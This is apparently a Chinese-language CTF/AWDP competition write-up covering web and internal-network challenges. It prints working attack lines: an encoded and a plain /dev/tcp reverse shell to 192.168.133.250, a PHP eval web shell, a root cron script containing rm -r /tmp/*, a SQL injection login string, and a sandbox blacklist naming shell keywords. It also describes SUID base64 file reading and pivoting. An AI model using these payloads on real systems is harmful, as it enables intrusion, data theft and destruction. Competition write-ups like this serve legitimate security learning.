总分100/100 尽力了

AWDP

php-master

Fix

加了个preg_match过滤.php.phtml

blog

Attack

路径遍历,根据报错信息把db文件拿下来,可以看到用户名和hash密码

使用allan爆破得到密码goldfish 登录之后有个脚本插件,去掉display:none后尝试执行 显示没有magic_key

利用之前的路径遍历漏洞和报错信息探测访问

/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/models.py
/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py
/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/lib.py

拿到源代码和magic_key

import sys

output = ""


# hook print for easy game
class redirect:
    content = ""

    def write(self, content):
        global output
        output = ""
        self.content += content
        output = self.content

    def flush(self):
        self.content = ""


def _sandbox_filter(command):
    blacklist = [
        'object',
        'exec',
        'sh',
        '__getitem__',
        '__setitem__',
        'import',
        '=',
        'open',
        'read',
        'sys',
        ';',
        'os',
        'tcp',
        '`',
        '&',
        'base64',
        'flag',
        'eval'
    ]
    for forbid in blacklist:
        if forbid in command:
            return forbid
    return ""


def sandbox_exec(command):
    global output
    output = ""
    result = ""
    sys.stdout = redirect()
    flag = _sandbox_filter(command)
    if flag:
        result = "Found {}".format(flag)
        result += '<br>REDACTED'
    else:
        exec(command)
    if result == "":
        result = output
    return result

绕过过滤即可

ccforum

Attack

username处直接拼接进log

利用了一个trick, 就是mkdir abc/def这样的目录会报错

???\n,../../../,record_banned

所以创建如上的用户名, 经过base64加密后会出现/字符, 也就是形如 abc/def,这样子触发的报错成功将username拼接

在Title里触发ban,进入log逻辑后伪造\n新日志(恶意用户名处为目录位置)

使用admin身份scandirfile_get_contents任意文件读取

Fix

直接把这个地方进行加密

ISW

Web-Git

目录扫描备份文件泄露和git泄露 backup/www.zip

从git远程的flag分支里拿到flag1

之后使用万能密码登录

1' or 1=1 or '1

分析代码后发现/var/www/html/assets/images/avatars目录下存在很多图片,其中1.jpg内容为

<?php
eval($_GET[a]);

同时能看到所有的文件,猜测1.php为出题人测试解,直接上车

system("%2f%62%69%6e%2f%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%35%30%2f%31%30%30%30%32%20%30%3e%26%31");

反弹shell后提权,用户为低权限apache,发现用户ryan

andrew:x:1012:1012::/home/andrew:/bin/bash
daniel:x:1013:1013::/home/daniel:/bin/bash
justin:x:1014:1014::/home/justin:/bin/bash
david:x:1015:1015::/home/david:/bin/bash
ryan:x:1016:1016::/home/ryan:/bin/bash
mailuser1:x:1017:1017::/home/mailuser1:/bin/bash
mailuser2:x:1018:1018::/home/mailuser2:/bin/bash

数据库里之前存在的漏洞可以使用sqlmap爆破

拿到明文密码circumstances

su ryan

之后发现家目录下有root权限的del文件,猜测定时任务

直接修改文件

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
     os.system('/bin/sh -i >& /dev/tcp/192.168.133.250/10003 0>&1')
except:
     sys.exit()

拿到root权限

flag5 是张图片 aim.jpg

flag3 邮件里可以慢慢找

flag4 在/home/gitlab

系统1

扫描端口能发现一个pwn服务

在某端口泄露了pwn文件,分析打完后能写入ssh下的authorized_keys,ssh上去之后发现base有suid权限

base64 -i /flag | base64 -d

拿到root权限的flag内容

之后利用这个做跳板机,做好代理,进行内网扫描

发现5.0235,1thinkphp服务 5.1 没存POC, 5.023有rasp

时间问题,后面没怎么打了

系统3

外网是一个feedback页面

有xss漏洞,拿到cookie后利用htaccess文件的解析漏洞,上马拿flag